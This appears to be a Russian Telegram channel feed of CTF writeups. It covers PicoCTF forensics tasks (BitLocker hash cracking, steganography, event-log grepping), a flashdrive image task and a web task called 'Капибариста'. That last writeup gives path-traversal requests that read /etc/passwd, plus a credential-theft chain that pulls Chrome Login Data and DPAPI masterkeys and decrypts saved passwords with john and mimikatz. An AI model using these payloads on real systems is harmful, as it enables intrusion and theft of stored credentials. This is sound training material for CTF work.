Райтапы по CTF{2025}
2.84K subscribers
215 photos
25 videos
87 files
393 links
☺️ Уютное сообщество для публикации райтапов с разных CTF соревнований и платформ

💬 Наш ламповый чатик: @writeup_chat

✍️ По любому вопросу можно писать мне: @freenameruuuu

Таски решать тут: @writeup_ctf_bot
Download Telegram
Опа-опа! У нас первый таск по 🕵️‍♂️ FORENSICS!

Блушники, налетайте! 💙

#forensics
😳 Panic attack

Дружище, у нас взлом! Похоже, криминал, по коням! 🚨

Есть два журнала логов. Необходимо выяснить:

• Тип (название) атаки по классификации (MITRE ATT&CK®), одним словом, с маленькой буквы
• К какой учетной записи злоумышленники смогли получить доступ, одним словом, с маленькой буквы
• Инструмент, через который злоумышленники использовали взломанную учетную запись, одним словом, с маленькой буквы, без
расширения

Файлы журналов [тык]

Формат флага, разделитель %:

flag{type%user%utility}


Автор: @artrone

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

#таск@writeup_ctf

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥83👍2🗿2🤔1
Bitlocker-1. PicoCTF 2025 Writeup от @Max_RSC

Неожиданный интерес со стороны аудитории вдохновил меня и побудил быстрее взяться за дело. Итак, задачка Bitlocker-1 с PicoCTF 2025, категория forensics, уровень сложности medium.

Нам предоставлен диск bitlocker-1.dd, зашифрованный с использованием BitLocker. Наша цель — взломать хеш пароля BitLocker, получить доступ к диску и извлечь содержащиеся на нем данные.

Первым шагом мы извлекаем хеш пароля с помощью утилиты bitlocker2john:

bitlocker2john -i bitlocker-1.dd > bitlocker.hash


Теперь запускаем инструмент для взлома хешей. Я использовал Hashcat, но также можно было воспользоваться John the Ripper:

john --wordlist=rockyoulight.txt bitlocker.hash


В условиях задачки упоминается, что пароль является простым, поэтому в целях экономии времени я применил облегченную версию словаря rockyou:

hashcat -m 22100 -a 0 bitlocker.hash rockyoulight.txt


После некоторого времени работы Hashcat успешно находит пароль:

$bitlocker$0$16$cb4809fe9628471a411f8380e0f668db$1048576$12$d04d9c58eed6da010a000000$60$68156e51e53f0a01c076a32ba2b2999afffce8530fbe5d84b4c19ac71f6c79375b87d40c2d871ed2b7b5559d71ba31b6779c6f41412fd6869442d66d:jacqueline


Как можно заметить, пароль соответствует имени пользователя (Jacky), значит, мы на верном пути.

Теперь мы можем открыть зашифрованный диск с помощью инструмента cryptsetup:

sudo cryptsetup bitlkOpen bitlocker-1.dd windows


Также можно воспользоваться инструментом dislocker — здесь кому как больше нравится.

Открываем диск и сразу же находим флаг.

#picoctf2025 #forensics
193
flags are stepic. PicoCTF 2025 Writeup от @Max_RSC

Продолжаем серию разборов задач по форензике с PicoCTF 2025. Рассмотрим задачку flags are stepic уровня сложности medium.

Несмотря на то, что за эту задачку предлагалось всего 100 баллов, справиться с ней удалось немногим, а некоторые участники охарактеризовали её как уцуцугу.

Запускаем инстанс и переходим на сайт. Сначала мне показалось, что здесь что-то вроде Navy Signals Code — необходимо составить флаг из флагов стран. Однако всё оказалось гораздо интереснее.

Подсказка "In the country that doesn't exist, the flag persists" намекает на то, что флаг нужно искать в несуществующей стране. Такую страну можно быстро найти — это Upanzi Network. Скачиваем флаг этой "страны" на свой компьютер:

wget http://standard-pizzas.picoctf.net:61688/flags/upz.png


Здесь начинается этап, который вызвал наибольшие трудности. Имели место и вовсе курьезные ситуации, когда на тематических форумах участники предлагали денежное вознаграждение за помощь в решении этой задачки :D

Итак, что нужно делать? Название задачки решило всё: flags are stepic. Немного погуглив, я нашел man-страницу стегоутилиты stepic:

# stepic (1)           - Python image steganography


Думаю, идея ясна. Осталось разобраться с синтаксисом, который оказался довольно простым:

stepic -d -i upz.png -o output.jpg


Таким образом, вторая часть задачки – это стеганография. Стеганография как часть форензики.

Дальше всё банально:

strings -n 8 output.jpg | grep -i pico


Получаем флаг.

#picoctf2025 #forensics
9👍7
task.zip
653.5 KB
Event-Viewing. PicoCTF 2025 Writeup от @Max_RSC

Продолжаем серию разборов задач по форензике с PicoCTF 2025. Рассмотрим задачку Event-Viewing уровня сложности medium.

На этот раз нам нужно было покопаться в журналах событий Windows, чтобы найти улики по каждому из вредоносных инцидентов. Но иногда можно и нужно схитрить. В условиях соревнований время — это золото, так что если есть возможность решить задачку быстрее, даже если совсем не так, как задумывал автор, почему бы и нет? В конце концов, после соревнований всегда можно вернуться к задачке и решить ее по-другому.

Мы знаем, что флаг будет закодирован в base64. Давайте запустим парсер, который выведет все события в удобочитаемом формате, а затем просто отфильтруем вывод с помощью команды grep. Парсер, который я использую для таких задач, я прикрепил к посту. Главное, чтобы парсер и файл Windows_Logs.evtx находились в одной директории.

В условии сказано, что флаг состоит из трех частей. Первую часть найти проще всего, ведь мы знаем, что флаг начинается с picoCTF, что в base64 выглядит как cGljb0NURn.

Запускаем команду:

python3.12 evtx_parser.py | grep cGljb0NURn 


И вот она, первая часть флага: cGljb0NURntFdjNudF92aTN3djNyXw==

Теперь, зная, что base64-строки часто заканчиваются на '==', давайте выведем все строки с двумя знаками '==' подряд. Выполняем команду:

python3.12 evtx_parser.py | grep '==' 


И находим вторую часть флага: MXNfYV9wcjN0dHlfdXMzZnVsXw==

С третьей частью флага могут возникнуть проблемы, ведь она не обязательно будет заканчиваться на '==', потому что на PicoCTF флаги уникальны для каждой команды. Здесь есть несколько вариантов. Если с фантазией все в порядке, то можно догадаться, что третья часть флага начинается со слова "tool". Или можно просто поискать по последнему символу флага, то есть по '}'. В base64 слово "tool" (вернее "t00l") будет выглядеть как dDAwb.

python3.12 evtx_parser.py | grep dDAwb


В результате мы быстро находим последнюю часть флага: dDAwbF8zZjJhMWI0Y30K=

#picoctf2025 #forensics
11
archive.zip
505.9 KB
Представляем вашему вниманию два развернутых райтапа на интересную форензику с недавнего HTB Cyber Apocalypse CTF 2025 от ТОП-10 на Codeby Games:

• A New Hire (very easy difficulty)
• Cave Expedition (medium difficulty)

Автор: @Rean1mat0r

#htb #cyberapocalypsectf #forensics
👍8
archive.zip
1.9 MB
А вот и еще два развернутых райтапa на форензику с недавнего HTB Cyber Apocalypse CTF 2025 от @Rean1mat0r. Давайте поддержим реакциями, Саня старался!

• Silent Trap (easy difficulty)
• Stealth Invasion (easy difficulty)

#htb #cyberapocalypsectf #forensics
👍194🏆2
task.pcapng
18.1 KB
#forensics
А вот это очень интересная задачка!

🦈 Спрей и Слёзы Wireshark’а

Дружище, у нас взлом! Похоже, криминал, по коням! 🚨 - часть 2

В очередной раз в галере "Ж" взломали какого-то "сына маминой подруги". Тебе, как самому единственному работяге в нашей конторе, необходимо выяснить:

- Учетную запись, над которой надругались хацкеры
- Какой глупенький пароль был у УЗ
- Какой вид атаки по (MITRE ATT&CK®) гопники из Мордора использовали, чтобы отжать креды у нашего хоббита

Сложность: “Почему я это делаю и куда подевался мой отпуск?”

Формат флага: artrone{login%password%T1234.567}

Автор: @artrone

Напоминаем, что флаг нужно сдавать боту @writeup_ctf_bot

💬 Канал & Чат & Бот с тасками| 📺 RUTUBE | 📺 YouTube
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6👍1👌1
#misc #forensics
Капибариста

1) Идем на сайт и видим форму с логином. Креды нам не даны, поэтому тыкаем по единственной доступной кнопке - политике о персональных данных. Попадаем на URL:
https://t-barista-adminfilestorage-XXXXXX.spbctf.org/?path=/policy.pdf&action=download
2) Пробуем поменять путь и убрать тег action:
GET /?path=/../../../../../../../../../../../etc/passwd HTTP/2

В ответ получаем:
<html lang=en>
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>Попытка взлома</p>

Ага... А если убрать тег action?
GET /?path=/ HTTP/2

Попадаем в файловый менеджер в вебе!
Однако ничего интересного в текущей папке не находим. Пробуем выбраться при помощи следующего пейлоада:
GET /?path=/./../ HTTP/2

Вылетаем в корневую директорию, кайф
Можем считать /etc/passwd:
GET /?path=/./../etc/passwd HTTP/2

Ответ:
<textarea cols="80" rows="25">root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
</textarea>

Пропустим момент с бесконечными поисками интересных файлов и перейдем к сути: в /mnt примонтирован виндовый диск C:
3) Находим интересные приложения на диске C:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome HTTP/2

По этому пути узнаем, что в системе стоит Chrome. А значит, там может быть сохранена кука для авторизации на сайте!
Забираем SQLite базу данных со всеми кредами хрома:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Default/Login+Data HTTP/2

База данных на ОС Windows зашифрована так называемым masterkey, который мы можем достать по пути
GET /?path=/./../mnt/C/Users/capybarman/AppData/Roaming/Microsoft/Protect//S-1-5-21-1023654651-2831612651-3133783694-1000/c637715b-e447-4cd5-9a72-445ef3861446 HTTP/2

Однако не все так просто - masterkey в свою очередь зашифрован паролем пользователя. Поэтому используем утилиту DPAPImk2john и сбрутим хеш:
python3 DPAPImk2john.py --sid="S-1-5-21-1023654651-2831612651-3133783694-1000" --masterkey="c637715b-e447-4cd5-9a72-445ef3861446" context="local" > hash.txt

Ну и запустим john со словарем rockyou.txt на полученный хеш. Получим пароль Capybara1792
4) Для расшифровки masterkey запустим утилиту mimikatz и выполним:
dpapi::masterkey /in:"c637715b-e447-4cd5-9a72-445ef3861446" /sid:"S-1-5-21-1023654651-2831612651-3133783694-1000" /password:"Capybara1792" /protected

В самом низу будет наш masterkey.
5) Расшифруем ключ при помощи полученного masterkey, также используя mimikatz. Для начала вытащим сам зашифрованный ключ:
GET /?path=/./../mnt/C/Users/capybarman/AppData/Local/Google/Chrome/User+Data/Local+State HTTP/2

Он будет находиться по ключу os_crypt.enrypted_key в JSON файле по пути выше. Также перед записью в файл его надо декодировать из base64 и убрать первые 5 символов из раскодированного значения - DPAPI. Сохраним результат в файл dec_data
Запускаем mimikatz и вводим:
dpapi::blob /masterkey:MASTERKEY_FROM_4_STEP /in:"dec_data" /out:"aes.dec"

6) Теперь надо вынуть password из вытащенной на 3 этапе базы данных
SELECT origin_url, username_value, password_value FROM logins

И расшифровать при помощи полученного AES-ключа (можно использовать этот скрипт, например)
7) Получаем пароль OmgSoAdminPasswordVerySecure2025 с логином admin,  авторизуемся на сайте, отключаем опцию "только соевое молоко", наслаждаемся анимацией и получаем флаг!

Автор: @ll0ydik
👍10🤯21
Where is my Pony? NullByte Eternal Games Writeup от @Max_RSC

Без лишних предисловий перейдем к делу.

Нам дали какой-то flashdrive. На всякий случай сделаем strings: вдруг флаг лежит в открытом виде?
strings flashdrive | grep -i X0G4M3

# Вывод:

X0G4M3{Th1s_1S_N0t_MY_B3l0v3D_P0nY}

Фейк! Почему я не удивлен :D

Кидаем в file, чтобы понять, что представляет собой этот файл:
file flashdrive

# Вывод:
flashdrive: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "mkfs.fat", sectors/cluster 8, Media descriptor 0xf8, sectors/track 32, heads 64, hidden sectors 26116096, sectors 4192256 (volumes > 32 MB), FAT (32 bit), sectors/FAT 4088, reserved 0x1, serial number 0xd873f71c, unlabeled

Окей, это образ флешки. FAT32, куча секторов, скрытых разделов — в общем, все как обычно: у @CyberFazaN легко не бывает.

Чтобы посмотреть, что на флешке, воспользуемся утилиткой fls из пакета sleuthkit:
fls -r -f fat32 -o 0 flashdrive

# Вывод:

DO_NOT_OPEN/ # ну конечно, сразу хочется туда залезть!

MyBelovedVideo.mp4 # подозрительно милое название...

wallpaper.png # вряд ли это интересно

.hidden # о, папочка с секретиками!

.NotThat.jpg # классика: "это не то, что ты ищешь" (скорее всего, как раз именно то)

______~1.PNG # похоже на битую картинку

LOOOOOOOVEEEEEEEE.txt # это явно не просто текстовик...

Берем icat из пакета sleuthkit и начинаем вытаскивать все подряд:
icat -o 0 flashdrive 135 > MyBelovedVideo.mp4

icat -o 0 flashdrive 6 > wallpaper.png

# и так далее...

Файл LOOOOOOOVEEEEEEEE.txt выглядит как текстовый, но...
file LOOOOOOOVEEEEEEEE.txt

# Вывод:

LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.txt: JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, comment: "Nice", progressive, precision 8, 720x850, components 3

Оказывается, это JPEG. Переименовываем:
mv LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.txt LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.jpg

Открываем картинку:
eog LOOOOOOOOOOOOOOOVEEEEEEEEEEEEEE.jpg

Видим флаг.

Ссылка на задание

#forensics #NullByte #NBGames #writeup
22